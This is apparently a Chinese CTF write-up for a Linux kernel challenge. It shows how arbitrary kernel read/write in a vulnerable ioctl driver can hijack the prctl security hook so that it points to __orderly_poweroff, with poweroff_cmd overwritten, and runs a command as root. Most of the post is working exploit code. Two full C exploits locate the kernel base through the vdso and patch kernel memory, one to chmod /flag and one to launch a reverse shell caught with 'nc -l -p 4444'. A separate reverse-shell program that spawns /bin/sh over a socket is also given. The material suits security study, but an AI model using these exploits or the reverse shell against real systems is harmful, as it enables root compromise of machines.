kernel pwn内存任意读写提升权限[2]
196082 慢慢好起来

这次的例题是solid_core,题目的整体和前面那一道stringipc几乎一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 0x77617369:
if ( copy_from_user(&v27, a3, 24LL) )
return -22LL;
v5 = v3 + 1;
mutex_lock(v3 + 1);
v16 = *v3;
v7 = v29;
if ( !*v3 )
goto LABEL_39;
v17 = *((_QWORD *)v16 + 3);
if ( (unsigned __int64)(v17 + v29) > *((_QWORD *)v16 + 2) )
goto LABEL_25;
v18 = *((_QWORD *)v16 + 1) + v17;
if ( v18 <= 0xFFFFFFFF7FFFFFFFLL )
{
printk(&unk_779, v28);
}
else if ( strncpy_from_user(v18, v28, v29) >= 0 )
{
goto LABEL_19;
}
goto LABEL_25;

但是在写内容的这个地方和那一道题有些许不同,这里禁止往0xFFFFFFFF80000000之前的地址写入了,这也就导致昨天的两种利用方式无法使用了。

原理分析

Prctl是linux的一个函数,可以对进程、线程做一些设置,prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。

1
2
3
4
5
6
7
8
9
10
11
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;

error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
...

prctl源码中调用了security_task_prctl函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;

list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}

函数调用了task_prctl表里的函数,因此,如果我们劫持task_prctl表,就能通过执行prctl来执行我们想要的函数,比如call_usermodehelper函数。

提一下call_usermodehelper函数,这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令。起初的利用思路是劫持prctl的hook到这个函数,但存在一个问题,hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);这里的option是int类型的,会存在一个截断,而四字节的地址一般是用户态地址,由于题目有smap显然是不行的。

1
2
3
4
5
6
7
8
9
10
11
12
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;

return call_usermodehelper_exec(info, wait);
}

查看引用发现mce_do_trigger函数有调用call_usermodehelper并且第一个参数为全局变量

1
2
3
4
static void mce_do_trigger(struct work_struct *work)
{
call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT);
}

但是需要改的东西比较多,所以寻找更好的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}

return ret;
}

static int __orderly_reboot(void)
{
int ret;

ret = run_cmd(reboot_cmd);

if (ret) {
pr_warn("Failed to start orderly reboot: forcing the issue\n");
emergency_sync();
kernel_restart(NULL);
}

return ret;
}

static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}

return ret;
}

可以看到这里的run_cmd是会调用call_usermodehelper,我们只需要把prctl_task劫持到这几个函数,比如__orderly_poweroff,然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl,就会以root权限执行我们的二进制文件,从而提权。为了实现上述目标,我们首先需要得到内核基址,在上一篇也提到了怎么计算出vdso地址,我们有了vdso地址也可以得出内核基地址了。

综上可得出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE + 1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE + 2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE + 3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE + 4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE + 5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE + 6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE + 7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE + 8

struct alloc_channel_args
{
size_t buf_size;
int id;
};

struct open_channel_args
{
int id;
};

struct shrink_channel_args
{
int id;
size_t size;
};

struct read_channel_args
{
int id;
char *buf;
size_t count;
};

struct write_channel_args
{
int id;
char *buf;
size_t count;
};

struct seek_channel_args
{
int id;
long int index;
int whence;
};

struct close_channel_args
{
int id;
};

void print_hex(char *buf, size_t len)
{
int i;
for (i = 0; i < ((len / 8) * 8); i += 8)
{
printf("0x%lx", *(size_t *)(buf + i));
if (i % 16)
printf(" ");
else
printf("\n");
}
}

void show_vdso_userspace(int len)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return;
}
for (int i = len; i < 0x1000; i++)
{
printf("%x ", *(char *)(addr + i));
}
}
int check_vsdo_shellcode(char *shellcode)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
printf("vdso:%lx\n", addr);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return 0;
}
if (memmem((char *)addr, 0x1000, shellcode, strlen(shellcode)))
{
return 1;
}
return 0;
}

int get_gettimeofday_str_offset()
{
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char *name = "gettimeofday";
if (!vdso_addr)
{
printf("[-]error get name's offset");
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0)
{
printf("[-]error get name's offset");
}
return name_addr - vdso_addr;
}

int main()
{
int fd = -1;
size_t result = 0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr = 0xffffffff80000000;
size_t real_cred = 0;
size_t cred = 0;
size_t target_addr;
size_t kernel_base = 0;
size_t selinux_disable_addr = 0x2C7BA0;
size_t prctl_hook = 0x124FD00;
size_t order_cmd = 0x123D1E0;
size_t poweroff_work_func_addr = 0x9C4C0;
int root_cred[12];
int offset;
offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n", offset);
setvbuf(stdout, 0LL, 2, 0LL);
char *buf = malloc(0x1000);
char target[16];
strcpy(target, "trytofind196082");

fd = open("/proc/simp1e", O_RDWR);
if (fd < 0)
{
puts("[-] open error");
exit(-1);
}

alloc_args.buf_size = 0x100;
alloc_args.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_args);
if (alloc_args.id == -1)
{
puts("[-] alloc_channel error");
exit(-1);
}
printf("[+] now we get a channel %d\n", alloc_args.id);
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_args);
puts("[+] we can read and write any momery");
for (; addr < 0xffffffffffffefff; addr += 0x1000)
{
seek_args.id = alloc_args.id;
seek_args.index = addr - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
read_args.id = alloc_args.id;
read_args.buf = buf;
read_args.count = 0x1000;
ioctl(fd, CSAW_READ_CHANNEL, &read_args);
if ((!strcmp("gettimeofday", buf + offset)))
{
result = addr;
printf("[+] found vdso %lx\n", result);
break;
}
}

if (result == 0)
{
puts("not found , try again ");
exit(-1);
}
kernel_base = addr - 0x1020000;
prctl_hook += kernel_base;
order_cmd += kernel_base;
poweroff_work_func_addr += kernel_base;
printf("[+] found kernel base: %lx\n", kernel_base);
printf("[+] found prctl_hook: %lx\n", prctl_hook);
printf("[+] found order_cmd : %lx\n", order_cmd);
printf("[+] found poweroff_work_func_addr: %lx\n", poweroff_work_func_addr);
ioctl(fd, CSAW_CLOSE_CHANNEL, &close_args);
memset(buf, '\0', 0x1000);
strcpy(buf, "/bin/chmod 777 /flag\0");
seek_args.id = alloc_args.id;
seek_args.index = order_cmd - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = strlen(buf) + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
seek_args.id = alloc_args.id;
seek_args.index = order_cmd + 20 - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
*(size_t *)buf = poweroff_work_func_addr;
seek_args.id = alloc_args.id;
seek_args.index = prctl_hook - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 20 + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);

prctl(addr, 2, addr, addr, 2);

return 0;
}

以上程序的效果是修改权限,当然也是可以反弹shell的,不过需要再写一个程序并且上面的exp也需要修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE + 1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE + 2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE + 3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE + 4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE + 5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE + 6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE + 7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE + 8

struct alloc_channel_args
{
size_t buf_size;
int id;
};

struct open_channel_args
{
int id;
};

struct shrink_channel_args
{
int id;
size_t size;
};

struct read_channel_args
{
int id;
char *buf;
size_t count;
};

struct write_channel_args
{
int id;
char *buf;
size_t count;
};

struct seek_channel_args
{
int id;
long int index;
int whence;
};

struct close_channel_args
{
int id;
};

void print_hex(char *buf, size_t len)
{
int i;
for (i = 0; i < ((len / 8) * 8); i += 8)
{
printf("0x%lx", *(size_t *)(buf + i));
if (i % 16)
printf(" ");
else
printf("\n");
}
}

void show_vdso_userspace(int len)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return;
}
for (int i = len; i < 0x1000; i++)
{
printf("%x ", *(char *)(addr + i));
}
}
int check_vsdo_shellcode(char *shellcode)
{
size_t addr = 0;
addr = getauxval(AT_SYSINFO_EHDR);
printf("vdso:%lx\n", addr);
if (addr < 0)
{
puts("[-]cannot get vdso addr");
return 0;
}
if (memmem((char *)addr, 0x1000, shellcode, strlen(shellcode)))
{
return 1;
}
return 0;
}

int get_gettimeofday_str_offset()
{
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char *name = "gettimeofday";
if (!vdso_addr)
{
printf("[-]error get name's offset");
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0)
{
printf("[-]error get name's offset");
}
return name_addr - vdso_addr;
}

int main()
{
int fd = -1;
size_t result = 0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr = 0xffffffff80000000;
size_t real_cred = 0;
size_t cred = 0;
size_t target_addr;
size_t kernel_base = 0;
size_t selinux_disable_addr = 0x2C7BA0;
size_t prctl_hook = 0x124FD00;
size_t order_cmd = 0x123D1E0;
size_t poweroff_work_func_addr = 0x9C4C0;
int root_cred[12];
int offset;
offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n", offset);
setvbuf(stdout, 0LL, 2, 0LL);
char *buf = malloc(0x1000);
char target[16];
strcpy(target, "trytofind196082");

fd = open("/proc/simp1e", O_RDWR);
if (fd < 0)
{
puts("[-] open error");
exit(-1);
}

alloc_args.buf_size = 0x100;
alloc_args.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_args);
if (alloc_args.id == -1)
{
puts("[-] alloc_channel error");
exit(-1);
}
printf("[+] now we get a channel %d\n", alloc_args.id);
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_args);
puts("[+] we can read and write any momery");
for (; addr < 0xffffffffffffefff; addr += 0x1000)
{
seek_args.id = alloc_args.id;
seek_args.index = addr - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
read_args.id = alloc_args.id;
read_args.buf = buf;
read_args.count = 0x1000;
ioctl(fd, CSAW_READ_CHANNEL, &read_args);
if ((!strcmp("gettimeofday", buf + offset)))
{
result = addr;
printf("[+] found vdso %lx\n", result);
break;
}
}

if (result == 0)
{
puts("not found , try again ");
exit(-1);
}
kernel_base = addr - 0x1020000;
prctl_hook += kernel_base;
order_cmd += kernel_base;
poweroff_work_func_addr += kernel_base;
printf("[+] found kernel base: %lx\n", kernel_base);
printf("[+] found prctl_hook: %lx\n", prctl_hook);
printf("[+] found order_cmd : %lx\n", order_cmd);
printf("[+] found poweroff_work_func_addr: %lx\n", poweroff_work_func_addr);
ioctl(fd, CSAW_CLOSE_CHANNEL, &close_args);
memset(buf, '\0', 0x1000);
strcpy(buf, "/reverse_shell\0");
seek_args.id = alloc_args.id;
seek_args.index = order_cmd - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = strlen(buf) + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
seek_args.id = alloc_args.id;
seek_args.index = order_cmd + 13 - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
memset(buf, '\0', 0x1000);
*(size_t *)buf = poweroff_work_func_addr;
seek_args.id = alloc_args.id;
seek_args.index = prctl_hook - 0x10;
seek_args.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 20 + 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);

if (fork() == 0)
{
prctl(addr, 2, addr, addr, 2);
exit(-1);
}
system("nc -l -p 4444");

return 0;
}

反弹shell程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>

char server_ip[] = "127.0.0.1";
uint32_t server_port = 4444;

int main()
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
while (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
;
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
system("/bin/sh");
}

题目链接:https://github.com/196082/196082


参考链接:http://p4nda.top/2018/11/07/stringipc/#3-HijackPrctl

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量